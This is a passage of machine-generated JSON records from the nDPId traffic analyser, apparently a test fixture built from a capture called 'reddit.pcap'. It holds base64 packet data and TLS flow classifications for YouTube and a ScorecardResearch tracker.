DN7KGQNrXHHFLPWxMoJKR9Y1H\/ReDWyJYBTyIwQlU2QM2Dahh4OKczuB\/ZDQrolOHR+CHTwS4RsPPNxuJA9CfsdHoyFos6lWR\/T0qCRLNEKB9XWKX8lAdJe\/dLq9XtAnoSPGn3k1J8YwLFk2DbXZnE5A3nn\/OurUTR7xqC2oeqhEBP2m8DrJl7EQEIonX\/mxjSEYjaD+281INnkkKUq1VwAD0ueilscmDNL03fpsfrqQaE7ukyh5TitGNxMK05RjFCfuu3sBTaxJr+utcKyM6uBwNCSIPoS4moUmAUXkILKT1KHt8eG3oCpOKTPyWJ\/puyvK\/miPFN\/R5UgpYzxpHMr2vLiNG8jVUmp0ocrMYtHrg4wCQR7q5aQUjIVzCZ0l1DR5Ef+oRr63HR\/ISlFftk3Nko+nIyY\/eldVE4muNQqjCCYVvxO29udPpTfNIB5BgrBPvC0vth5l8kSVknfnMXdloehK+SLxQIuWRUnYSYYRksPQgNbZg6Bl8A464fB0KWhq6Z35YFeTANESHLgfA+j2F3QKr+dUqqE\/jneVprTyqYR83VuI91WfRUb7tS4k6wY2wjEyyBD\/9c3gST6qgcP\/B\/c2SQCZ48DO67e1q35NsJrHA7BESeR09K1d9t\/w1lGMM58EcuxFYRyfOQeMYMxw"} +00455{"flow_id":30,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3022,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":976300,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD27HACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAAieM+UmsoBu3fYfNsTvtU4gBAB4WbFAAABAQgKU50GTsLXQBc="} +00455{"flow_id":30,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3023,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":976308,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gD27HACAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAAieM+UmsoBu3fYfNsTvtgzgBAB3GPPAAABAQgKU50GTsLXQBc="} +00541{"flow_id":30,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3037,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":979651,"pkt_caplen":150,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":150,"pkt_l4_len":96,"pkt":"qtsDr8lk5EKm5WPyht1gD27HAGAGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAAieM+UmsoBu3fYfNsTvtgzgBgB9dDCAAABAQgKU50GUcLXQBcUAwMAAQEXAwMANbpWMnbWAtRWOmd6b5z5XtbllVCz99ZW8cX3m14LjwOuE+lhSEs+ElW3OOks51p7+qpzRsWc"} +00584{"flow_id":30,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3046,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291687,"pkt_ts_usec":980763,"pkt_caplen":178,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":178,"pkt_l4_len":124,"pkt":"qtsDr8lk5EKm5WPyht1gD27HAHwGQCoBywEgSYsHmR3shSjf9ikAZP+bAAAAAAAAAAAieM+UmsoBu3fYfRsTvtgzgBgB9SW2AAABAQgKU50GUsLXQBcXAwMAV9mZ94pPejW0IJSD8bwnOmdb\/yRZOlSdaybWLLTwm8MN19W4KwuYIzzHCWJRFjjrWzbCov+L5bQak+Qk3Z+TbuEWYb4YRQd2GIcxzSxjbDtnu1hH\/8U17g=="} +00454{"flow_id":31,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3088,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":19659,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSoAFFBABwgGAAAAAAAAIA4qAcsBIEmLB5kd7IUo3\/YpAbvWTrVWRoXRRdT8gBALMNnKAAABAQgKwtdAO3CSuIk="} +00455{"flow_id":32,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3092,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":20339,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPSYgARaADQAh+RZQSfh\/EI4qAcsBIEmLB5kd7IUo3\/YpAbu+CLYiE5bSRupQgBALMKljAAABAQgKwtdAPNeKYqQ="} +02093{"flow_id":31,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3105,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":24605,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgGAAAAAAAAIA4qAcsBIEmLB5kd7IUo3\/YpAbvWTrVWRoXRRdT8gBgLMEzAAAABAQgKwtdAQXCSuIkWAwMAegIAAHYDAwnRmDDNhxnsKxmhhNRTKeiASIrBLjMThBaHO6UPTeWdIBMHWJUBm+OFCD0sy0ylrulb4WElhpq\/dz7TuTzNb3wqEwEAAC4AMwAkAB0AIDnDAJ4kTWw48kphe1+zg7srsErJXQAp9BrAdJQcltkTACsAAgMEFAMDAAEBFwMDDmZGu8+HQCyN\/vbwHHXXGTXttJwstrV5X2CkGPbnD1k0BnamCgPKEyS+Mnw4AqkZjaS46TQdHSQRQHFkrzwJd7PjkkFLp\/mj214Hl\/4kezJlSJcIPwAQ0Ts8kydR5D4e3EICklklH9\/bnpPHE6cocyV11Si5946mbW5PiaRJubX7cOMKvCQ8eUomT0AU6hseqbtsraxlN90VVte1CQfLVk7Yby2dN2TCV9jI9vTDMX9xhhY7iUOqZyonViqbSakDk4q1b0NUAC9u9Uqrmoor0Gh7Wrwo9u1\/DaUyXQTmE7FUJiJd2bUfWtGKnEsR60Sf9kyWEF0jjdFjRxyf5n0jQUtUaS6MwVYC8O1H0j6bLaOdTZaQPz5a\/Yz16vjl+6yh6yh6XMgoCDTPHPc\/bm9mjth0eFUO3SyfoHxOIhMjurljMmM0xdrsWl0EzIANDqjkWN1G\/2wmWFvfCk\/Zu2zPFy9LWODOwUttGxpm9TPqr4mwnTEIk9CiBqYRIxFwu9UvaUeWvWAJcTScOvsRmiKSuppGizHIWL+J1k1R9yNU88x1FVClcURYAWB5UIRJvPaObjJLUEmeNWHdljsP68JPnMIK3+sIe826k6zkJ3barDULBs6miGk5X1wPeUWGNvyTfwMYpnYt4vY2Ejh9A\/iN9k0p90r6sxoW\/i82LhteFhpixH9Wt32X6cmwbtBEh+8q6vqw+fIfCLK3MZkkkEUl3OgY7sZp\/ZQE+8IxmK9vg8xvbXzSpP\/tR5KVbQhNapSmCJrhORolAfr3VJ46u5reu+WXVAgM3u81E9ZAhGiXfU9EQfZSYXJ+2kvWFzaf3Fj0PUH3iGLYJdbHAlsUws6st2B\/bBBR1iRDzrDd+3k7GNiIJdLTs9x8S6sDF\/cslBb\/tuZsBaoovu1kY9Foreu0gLn+uK9JL18mwojwaXkAu\/9rUC7VeWhHhYp57bo5iEEYj9FFsLW\/C+SOPkKBv5HNXmczUllGV80QzYYScHAoLYoVpmmMOxLBZzIHi8tb2T1bnGBABb38gd+pTi2PiJf7tZL07gPAT46qBTkZlHjjuy7oipkYnwQA87QQJaiUVQNbdANPaXlm1nVHbKKHN18ykq9bh2nkY8sx97Jkzg0maYIG3G0dqIu8XadmI0n8QAC0X86sDRDOpHR90+r2ttYkGjcl8eHii0tPW67jTHdowKDKVK\/JbjKRdbAbAp+qzIPf5E4Rx2fiQ0GMZMPeDbIkpd5qbhgYZ9asuC5AwjwxHS\/nyoJsee6GEye6RFkKV+4d6zf7HnauKGrpuesRsHImPuC4OfF3mowCa60oXpFf20BpLLkHkw1NqEfHqAbpIXZm6VhULrObx8XNfvCbMMoZy9QIHiYdlE0O37wjEhGuDWpXsl+yRnLpRGPRuqdkH78M6H0c2UD+nhu8oov+wTfo2w=="} +00867{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":3105,"source":"reddit.pcap","alias":"nDPId-test","flow_id":31,"flow_packet_id":6,"flow_first_seen":1605291687931,"flow_last_seen":1605291688024,"flow_tot_l4_data_len":1933,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1240,"flow_avg_l4_data_len":322,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"2a00:1450:4007:806::200e","src_port":54862,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.YouTube","breed":"Fun","category":"Media"},"tls": {"version":"TLSv1.3","client_requested_server_name":"www.youtube.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00453{"flow_id":31,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3107,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":24643,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"qtsDr8lk5EKm5WPyht1gCkMmACAGQCoBywEgSYsHmR3shSjf9ikqABRQQAcIBgAAAAAAACAO1k4Bu9FF1Py1Vks9gBAB9d4NAAABAQgKcJK4w8LXQEE="} +02089{"flow_id":31,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3109,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":25071,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgGAAAAAAAAIA4qAcsBIEmLB5kd7IUo3\/YpAbvWTrVWSz3RRdT8gBgLMM6kAAABAQgKwtdAQXCSuImOULj3I0iZmY5olFbRlkomvFfZSFjutvpamPW3o47M\/9hLY2yKACVEHWCq\/skznirRpVAtpZPCOvCmGKTmsTMcNi\/6t+zHdtHWR53en8V6iN0CcBYcfRwB1E2IaM7G2Yjz+kf8087NiAdI4wEN2tUWgA3zfFaKovTYur8au3NYv\/rdRqmLv3uG3WdtwgTEJaDvmRmZXLVAKETGp7WVGI6tzCBPJqlg8CFK5HF2lRWVTdayfobqiJQ+tVY20j5h6OrhYbS1nKdvlb84NjvqpLma4U6rJUGfjbYUCRL3QszKBCR92FeP\/TR5yNUBCfeFaEijXVcv8g3eInqrIhsStzwJiamGDOCPx3Grd7TC6ytnbLeNFphu\/XOvLK3aLR8tVRzt39t8DySwt6aw1y9Fv62xhNNFuRGTZ54X66pi06LFiuVejaWxlXUGoVijQDfNOzFHUUzCzTMR+88OHcPfIfnnrvsY5DETG6EPKxYzvh4pBOfHbBNwueJp+S5IImwJA4BylerPMUDb7gGc1jcE54YpJ9ogddYDpA7VkaJFUYjQZSSXcWV3SpxzciF0zifyeicF88eJrBDdktdPocHsiDXO+4vUMRtQuy8s556XeHE+cFx1RQd3LxsphdLUdSt+KewJPySQKjJijFpzyJ1A7Ck9tWes1lTirX43rQLX+x0LHoPuVBHO6OF4\/hsuSISzrY1knWTXuzUIDU5Pz+dz6ezA1MO1brWMdFS0CIBHnwH0KD3+JRUfXItLfvHH\/qEhWfcZLsx6xGDnvUURExo64JcPVtMMLxuTIDWp9qfLe\/OGaEMIwJGS9lNzclTn5N4NbBrzDIYXOCdWGH37LP9NfLnVPuAdotWX\/hS+QQCmwCXY5ZcHtLobOMxsEnJ3x2mGwrzBVaT+A6WSrnT9sIZqR2JYVIjOeIEx6cRTbJAIP41h8SXtlYEi2bgeJ8u0AJY7yV1zElF6T8eHJUSWwWqxuVtDonU6MAzNrN5s7tC29hG2Je\/dqGlwrmqyvUDxa+IiwP668wSHrTDRUS6KNu3GCvlhi2+VSHNtvosuACFxD+3sJ73+i6dhXtuZJu7VslPyVCD7B8z2qcTxROgUJdkidyZS13Ea81CqtWvVmNBzuYWzVCkJ2Jfl\/qTAgZx+Qu02vz6xoPoxe4HpkUBHTQI+uzhMFQIqRdyDjqLreOkZJMlW1EKgQ8YIN3sJGqCD5zpjkj+mCTRLFT65epEEnyb6WEjdDd3dN6R9lcRzu2JkkqJTbQFIKPUSJXCy9hgscnaUanpqB\/vxuhxYzH59ML747GjG1IsexalOZ0GQWiBheKgt\/kGLfbNzV9QxR7To+CnRAyxwGMIl+01Lv4zZl4CAeVMsc7FrHgpdbw5Sr05mwBMYxxSgb30Hldh8F7AeCIX5vSQYNEQNQ7QzfKex462IibwTBNhi5y4jp95ptNBMxmI97wL0ylkQplCYR+q\/1jEQwuCH7K91WxbhfuaPmznto8dEt0lhpi2B6sDsDjTcU\/4E+np0GKcvR\/WcmXkaEcr4xXXX4oL9cVWlbMig60V1jwJLAu3g5+n5bAQryiRDnVfktSUlHX9NXrrFDise1K79A0SQoFFjnOWb2A=="} +02087{"flow_id":31,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3110,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":25071,"pkt_caplen":1294,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1294,"pkt_l4_len":1240,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABNgGPSoAFFBABwgGAAAAAAAAIA4qAcsBIEmLB5kd7IUo3\/YpAbvWTrVWT\/XRRdT8gBgLMD9lAAABAQgKwtdAQXCSuIm+ZN4ZODQLk1MacIPx8GfVvaKdJQT78HHE38eBNoR3EREsErNUy92PsKyFXtBERPtQbpNYsTcxdESCJxwmaEt12GSmMZu\/L59lOVRzusjxCRuoNuG4igecd6uRJaCQTmE24rMdwUCsKRVmX98N44QLkBB9fuyxCVATxGGMamN4owjiPI52K4M9X52LRVizjBw8QBTVnhNyu4OmRWbvT\/hLEyNRpSv4uy47LZTd5TZ85RcFmXb654M83I39\/8jSQd9uwRxNfcMMoV0LKxsNZWETWPhhPSPBWC9cF+DITqc5Qm1R\/CuWMeCBlBBfNo9XKGec+Ooyhh7ccNCvF3Hd5n1EYUBIj+kF0LqvzVjZmZAUadHsuNjBH9QLtndpxzgC1iCN7++Kts2XIknD8BX5Uofa4XSgd4QLjZhwvIeOA3yFGzyEsGqLDooxJceQNRtdva0RO7vAydCpkqYVLqwVWZX8hB3dALQcOwMChw2ZmvkMRZwQ2bxgbkLkDzt0xCsLyOXD8kXYcT7tPmVwbC5OTodbgBE+sfAj\/Uo0b2IMHFo7lq77\/98Apj4mYdqFF8zQfbCfcAEsvnCtuf9ZoYyAZkeHh\/hzm+FM32n24D5IohxgNlaD3fPNhyFJXbqbCeWZCij\/KK0z6r2Y0O4wLItdFyGVjXvhvV6hTKeKQf\/+n09VfxVXOhgnhs202ARBy\/7sdw49h21ZDSqwf5fgaUuz6VHTpxrTnX2dVfKb0MZy1IiEiOsrrM0HqGQEp683iMfmvcdISokzn2lb6hgUy8Bgl3U5kTTwc0RS2Un2YMtMSixKf5iofS5jOQv5nRlmr8ZSx9ajmWQlEZBJlsjFK2YNFnXOk2kSMSzkeVy0CRZAvo7utWWX6VhEDkPXipEerfqr1gWhpUuawV57lLICFDJNnu2psRp++ElchnX6eQic6TT0ws6Sc+zaDzPy4sbTUw7H+7t5dmZcaKlSRtCXQG1r2OPwjCOBSNTLBgSfkSlwtw++PvWTbBzsEjNVfQkSXYsiv8xmCapIVrlCsPnBpgn5KzsnA4Ox2evjCfIrv1fCIo3Q3UszTB5G8CdI8WCyDPiqvnF4QOhTvslXe5AM9QqVTK+phteIbzDl5Ora41ACNFGEr6IoToYzN+w+gjc\/\/p4wm1xXM8U5\/rmflL0kWVweW69eKbnN5lozAmCxaZ7DaJyTN0YwVbb0CVVwCtfphLU0M8JMG5++7hGrAUonRjf2QcpvRLS9a+eT5K6MNNZqH+lc5UkQl6l2smME0jbB+YtvZXskclTt++wdDbSGtyu+ThhGm5hzy+4UgpnoMLqi9AU3SuKMS2mCoguSFhCRJsdvjoxHq67JPzoUESMnbCP616xLSGf+\/YvmZRMJzxAEOUdt57po1gn+YwTluw0KK2wKcBhquTIw6vQA7gxOyueKZulWMbeTKmIkVyEY130KunREse4oQB+WHJwi6qenvAdaCbEfms4VuKVg5hhl4tOY5GZwD3XmppdecuuPpqK9n4cN7eOlzBNfR1A73cUD4K5jGaK4V0LWvhY7TnauOHOipG2epB77Go1y63O+8YygtDFXZKud7eDDOKE+weLrAsXXrdickuhsxWlubg=="} +00732{"flow_id":31,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3111,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":25071,"pkt_caplen":286,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":286,"pkt_l4_len":232,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAAOgGPSoAFFBABwgGAAAAAAAAIA4qAcsBIEmLB5kd7IUo3\/YpAbvWTrVWVK3RRdT8gBgLMHKWAAABAQgKwtdAQXCSuIk7nST5MB4W7LqQDI+ruRgSqNFixg8+tuf7fxTSvdZP4F373dDQYdr\/dUBy5M5Y0r0J8\/NwDNIhNkSh1xz99T3T0hzeqb64Mi2tF5f4IJ2UrY624nPzFZdWoQHg1PneTNulsX1j8klkyC\/XNhtZp7ADwBkTqNyP\/TSAIoqgLNnjg0M\/vextssIJRGXu1Z+IjHqLqiURPYAzXVbgI2UP3l9v2PWV6dKDhD3n3bwUYUisMilKaOv0U8MsCpwnsBZd17KZz00NU\/J4qA=="} +00455{"flow_id":33,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3112,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":25071,"pkt_caplen":86,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":86,"pkt_l4_len":32,"pkt":"5EKm5WPyqtsDr8lkht1gAAAAACAGPQBk\/5sAAAAAAAAAABc2hvEqAcsBIEmLB5kd7IUo3\/YpAbus6CNL5dhGO8qWgBALMDrJAAABAQgKwtdAQVHJMCE="} +02346{"flow_id":33,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3113,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":25072,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPQBk\/5sAAAAAAAAAABc2hvEqAcsBIEmLB5kd7IUo3\/YpAbus6CNL5dhGO8qWgBgLMK7LAAABAQgKwtdAQ1HJMCEWAwMAegIAAHYDA4ey1jkEt7YmB8nH60jENVrHYkqgPbRe3A0UtxQ7hz\/cIPGtMcg+xk+\/4O6dPXPeOmaj7v3Le548CiQfbZu3tkOqEwIAAC4AKwACAwQAMwAkAB0AIN4I3QIpXry2qzTRclbZ8qvkwH48kh7YN2As6DiaoIVNFAMDAAEBFwMDADQxTVbgLmzwMepkyQoa7JrgR2RKHupcsPfrfn3q6tpYesAeEZBfEsXMt9\/OuINyhsxePIN5FwMDChn1OIeh26NpFMp4hUfngYrBAGzjbB0sQFJawp8GdAeZPw0I1B7dco1hgR7+z4PhbzZgqvwmhfvcK\/FTfS1zYfSvYgnlAaOWErSr4qiLxy5UTGHNrvsUTGQvg8901DZoqr2f8+c3bkfb42biQRFTNnadK5PWLb\/bp0GK917N1jgtUM+YgNX5WoRAeAnm3mbEQWKCPnBQaWo6GSzUe1NkseqXe9i23pCW5jhScezi951LRSPtvC8L78\/EPc5uVIhS6j\/ZRLRqtc3GgMg4WrfBSz+Mx\/GTH0XkPF760IUX7+Hg5wHmPBOJvHn6mtBV+uC4HfSKuIUazU9DGNINSbffV6goiG1VtWAiqmxJhmZUdvgOLqW5SvmihgCRW6pOfSHYneIEjqEs990RVU8Wcr7VNGM26F46Q1YjgZaqgsWQpehcVlZCAibXFP9iI3TygqhzwoNUVc3vhZZiDxoz8Dux50gpywUsggRpXePmj2wB0CQoZ5Ou3wnd15UfbjPzDxX3fuvmt7xCQWFmexWPjH6x5exwvzv2Huxyg8srjcFz829rWX6CpKW3hUfuRun2gFA7se5OsAMmWXWm\/0fHvEckeU7Ev6qPU606ut0R8e+u8iAl380\/WBZpsIYZyblBnlBfPcgMjw7RtdmtWASR9CbTeLrixhSOffzYm3UtwjCpYdr5SKw\/ebZ2fLVzVdUNw947ytZWe\/He\/RLGz1U6wf\/DvceaNr02uofMm4D8E0kay+1YXHotS1BCSikNFs2VTqIAcLWtTaufW98F8IBPCplp3\/fY0EQMbum8F5ZkNtKmBOlCbQoH8JiK0xkv\/2tAHUZpvicWZHN1FeOV+MkevCPoC\/FGdc2cO7uQEzjtnjvi\/LmsE+wsqBCs+jjI74Y5s8kM2aRt\/ihx2LOVz\/WP3pCkwgjTHJVspdEXce9g4U+nIYT3sGkm7RlmvciwIK4GSO6\/mF6SMDJyBcfE7LIRxq1bda0mnNzwaErXt4e+91nkvMOmW4imPLahe+1bjHb5pW1p8b\/1TRUnwsGUoOLj3fbyHRGX\/qx8C4a2eqYmCvbNveauXsWUbbbRH656o0VOeTZJH3rSBCMcUUbHrxIlxEg7DEjlRqG8+\/ZM0xzowrII1quI8lcsTwyWWf99W7MmpFJT\/\/ibY0+60s87RRfCrYwTAs0kcpRN6Z1A2zaJV2OzNyeb1O9YfNYXNBHRT6Sg6D+fP8PljBdUJIlwig7DPtiIqcOS+EjgzXkMkvq6zfDhCTRI\/hjSciHl\/l9t1fpSvcpYermRbh6bUq2c8mgKhTo7\/heUnN1pu3SKX74T2qkV\/FPFG+bEfTVY4sLbUG4pOVeBe5bL5Sgisp8ViKjV+jL80Bxg9dqnvxbL1dgAO2UL7NiBjYs+eSWqSGpI5yJD7kfQGSIlAFU8BnecnFCIWymDQ683P9j5AowalKq48J5+TUIyx4z1mjsZlWJd3lTHLAKUVWHw98OXKJl\/PnnHclqrqk7+\/Jr1ZlApd9qJRA5+kvzY36C6LFgMhtXmZ89zH+k4h5n26IKZXsCe6Yr60GxGQRmN\/KXBJQbdSBo+IlotTlg41kh+E0FvrDyBNA=="} +00861{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":3113,"source":"reddit.pcap","alias":"nDPId-test","flow_id":33,"flow_packet_id":6,"flow_first_seen":1605291687934,"flow_last_seen":1605291688025,"flow_tot_l4_data_len":2113,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1420,"flow_avg_l4_data_len":352,"midstream":0,"l3_proto":"ip6","src_ip":"2a01:cb01:2049:8b07:991d:ec85:28df:f629","dst_ip":"64:ff9b::1736:86f1","src_port":44264,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"},"tls": {"version":"TLSv1.3","client_requested_server_name":"sb.scorecardresearch.com","ja3":"b32309a26951912be7dba376398abc3b","ja3s":"15af977ce25de452b96affa2addb1036","unsafe_cipher":0,"cipher":"TLS_AES_256_GCM_SHA384","alpn":"h2,http\/1.1","tls_supported_versions":"GREASE,TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02331{"flow_id":33,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3114,"source":"reddit.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1605291688,"pkt_ts_usec":25072,"pkt_caplen":1474,"pkt_type":34525,"pkt_l3_offset":14,"pkt_l4_offset":54,"pkt_len":1474,"pkt_l4_len":1420,"pkt":"5EKm5WPyqtsDr8lkht1gAAAABYwGPQBk\/5sAAAAAAAAAABc2hvEqAcsBIEmLB5kd7IUo3\/YpAbus6CNL60RGO8qWgBgLMDGBAAABAQgKwtdAQ1HJMCF4jQqeULuXRCCpURAPXmADQAsNyQ12YUIiJuSPtoiphd8sYN9fnDHOuV1EVzLqHqnQU7SKD2FoHIauLtFIOTBEpfYGArNsyafM3447h9GKPd+Y4VCFzSnxAJmVQtLUb5VD465hmWw5N\/2mE6gzhbt7K3xwvsKgNdP3UsdUSXkFReZupTkXmM4uxKkQfe2KnsKXew+mJV2U\/IrGSswVXDSjxJjNnII4Lex86a8DyrDJQKwsWSt6frGztzQVzkjICO8BCK5KSHhiAjwQnjMJbq\/L5kdJ9teFHJHu0gH75+kLN2cazeIOYKO4ZJZyO+\/V3yOVFWgQQ9k7Cgb+oj0ifvx\/QWb7Arv4hndjJTFd6YR59VaFaHRjfjg\/eVh0eO1Ck0fnmoNvA90Zk5+2VE8VESB6KHGgK7QcrxL7K9NUwXAaFf5UaY0gzHzntYXIQdA4+9JrQezmmRhDp4JQTIDVdeol4ilvG7HIEJuphPXBz1dnXPExBENGJFDfpp9AJvBScogMFGxgZYNlNMtdNJ9CQhqWgFYsUwIhY0EC5ds2B5UkwGuEQsu\/x+\/FwD2jAboDPjgbTzRwCjj6C26BlAqcpRS9QTKSPNCalZZYK247ZTxSh0EnkBjQbIHbzFZcohhUBSdL3YrIgG2HyIxgodV7WtjrPAD4MfjoSPJFyDIrrtsAGG8fL0atJPJUQ8V0oc5poWFIplIwKzPTQiVk83piVk2tJVksYHnzNqvH0k+d7wb38p9PxmTUfrtqy\/K3skTa2bhJ3ElTwUpvkuvQpjx693Uy+jE4e3jRGIjfWjeF2rpqpuTfbUw5fho7TDImGvuG5n+KQppXhDZoIXK+F7BmrtgttGvaJWZFM2a1+UV92oKCfkpNSeLmWhKrhq3WxvXc1sI2JMe5rxaGcJTkdMU5efdHqeOFZiOVFMoFg59I3E3sFOiKoinvMa4KZvXevnOR7hrRLT50GQTYKqwuUQOhpfuKB7DYVHxASgGfGOwALsn5G9n4SavfdrrnZrNTT0oTAY08heWmmFamKoiSMboJBsg\/Y6ylZKCXEMtvfVLPayqLDQhHvZN3EcShZjFUrj2VeGUDVKNVojBdWpSZ8cX7G6gYKhYAsQVhj4gFv3MAS1gUYCnTRUcQXiKNKnNdhGLI08CmM4cZzeI5Smw9muUnUz0VrcjdqZ7MJeMPFwMmfOovWyuG5WTjqe6yywr2My63d3OV2zhHPy6o8uLYH2e07Vqc0AZtnGWVgXzCDFE9Gzp37fLuWHZxiL8CUR79oy0XirpPHdyNtuNf9WBA\/nXr70c\/pwNySPO1l9ZokQd6gRJaKK6bHhVuvGATljh09U6p7oMnsfbEN2I8l22PmR\/eirBh37K60sE8IX\/R5yNObDv+FXeJarB4AHSgGY1oOUg5t0sFGDYdd1+Jgh1w1A9LRPkAURiZ4XFskRkcAR8uSggNfEO4cN1NGR94IcQ2j4AV3hy8aBYZSf\/utAOXXs9zEPXVsWcvDFixLn0cXWzejQJbnIpClpba180q3nmGQDgTuuwYRpZ3ScsH+TA7CqyaWnCJlp+UGfg+bRaHrG3WravXAgMQu63nGOWoETyUUruvuslFinpeSeG+sw2m2dn0slfc8LalqM8sABdrsFwnYXdv8e07aYk3b7SQP0H4z+NoIfSDecHtK9+coGEx8oe583va9hClWd\/PDcpVMTGAKc5sxLockZxThSUiA8PJQ3WsqukuycepSuw2Mw0vJVrIQyb7Pk5\/wtVlV\/m3iUYAhcGxJVV8it+msj06Ny2Z3eZ4GEM2xSDiR24dwlJhk4QvIRwZLU8xnrbZn6gI+bjcZjP7NVrlzt3DPw75j752EQ=="} 